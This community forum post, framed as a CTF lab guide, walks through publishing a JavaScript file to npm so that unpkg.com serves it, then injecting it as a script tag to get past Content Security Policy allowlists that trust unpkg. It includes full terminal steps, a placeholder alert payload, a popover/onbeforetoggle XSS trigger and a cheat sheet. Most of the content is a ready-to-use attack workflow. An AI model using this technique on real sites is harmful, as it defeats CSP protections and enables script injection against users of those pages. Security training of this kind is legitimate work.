← Back to community
Mr_Tester999Team
COMMUNITY DISCUSSION

πŸš€ Complete Guide: Host Your Own JS Payload on UNPKG via npm

Goal: Publish a custom JavaScript file to npm so it becomes available on unpkg.com (a CSP-whitelisted CDN) for use in a CTF lab.


πŸ“‹ Prerequisites

  • Node.js & npm installed
    • 2FA enabled OR a Granular Access Token with 2FA bypass

πŸͺœ Full Step-by-Step (Terminal Session):

πŸš€ Publishing a Custom JS Payload to UNPKG via npm

A complete walkthrough for hosting a JavaScript file on unpkg.com β€” a CDN commonly whitelisted in CSP script-src-elem directives β€” for use in CTF lab environments.


πŸ“‹ Prerequisites

Requirement Details
Node.js & npm Installed locally
npm Account Register at npmjs.com/signup
2FA Token Granular Access Token with Bypass 2FA

πŸͺœ Full Workflow

# ============================================================
#  Publishing a Custom JS Payload to UNPKG via npm
# ============================================================

# ---------- STEP 1: Create the project directory ----------
mkdir ~/npm && cd ~/npm

# ---------- STEP 2: Write the payload file ----------
cat > xa.js << 'EOF'
alert(1);
EOF

# ---------- STEP 3: Create package.json ----------
cat > package.json << 'EOF'
{
  "name": "your-evil-payload",
  "version": "1.0.0",
  "main": "xa.js"
}
EOF

# ---------- STEP 4: Register an npm account ----------
# Open in browser: https://www.npmjs.com/signup

# ---------- STEP 5: Generate a Granular Access Token ----------
# npmjs.com β†’ Account β†’ Access Tokens β†’ Generate New Token
#   Permissions : Read and Write
#   Packages    : your package (or all)
#   Bypass 2FA  : ENABLED
# Copy the token (starts with npm_) β€” shown only once.

# ---------- STEP 6: Configure authentication ----------
npm logout
npm config set //registry.npmjs.org/:_authToken=YOUR_TOKEN_HERE
npm whoami

# ---------- STEP 7: Publish the package ----------
npm publish

# ---------- STEP 8: Verify on UNPKG (wait 1–5 minutes) ----------
curl -sI https://unpkg.com/[email protected]/xa.js | head -5
# Expect: HTTP/2 200  +  content-type: application/javascript

curl https://unpkg.com/[email protected]/xa.js
# Output: alert(1);

🎯 Final Injection Payload

<script src="https://unpkg.com/[email protected]/xa.js"></script>

With the popover trigger:

<button popovertarget="x">click me</button>
<test onbeforetoggle="print`5`" popover id="x">aaa</test>
<script src="https://unpkg.com/[email protected]/xa.js"></script>

πŸ“Œ Cheat Sheet

Step Action
1 mkdir ~/npm && cd ~/npm
2 Create xa.js with payload
3 Create package.json
4 Register at npmjs.com
5 Generate Granular Token with 2FA bypass
6 npm config set //registry.npmjs.org/:_authToken=TOKEN
7 npm publish
8 Verify with curl -I https://unpkg.com/PKG@VER/FILE
9 Inject <script src="https://unpkg.com/PKG@VER/FILE"></script>

⚠️ Troubleshooting

Error Resolution
E403 Forbidden Use Granular token with Bypass 2FA enabled
E409 Conflict Bump version in package.json
UNPKG 404 Wait 5–10 min; retry with ?t=$(date +%s)
npm whoami fails Re-run npm config set //registry.npmjs.org/:_authToken=...
Name taken Use scoped name: @youruser/payload

🧠 Key Concepts

  • UNPKG is read-only β€” it mirrors npm, it does not accept uploads.
  • Publishing to npm is the only way to expose a file on unpkg.com.
  • Many CSPs whitelist unpkg.com, making it a reliable script host.
  • In 2026, npm requires Granular Access Tokens with 2FA bypass for non-interactive publishing.

🏁 Result

Your payload is now available at:

https://unpkg.com/[email protected]/xa.js

And executes cleanly inside the CSP-restricted target page.

Discussion

0 comments

No comments yet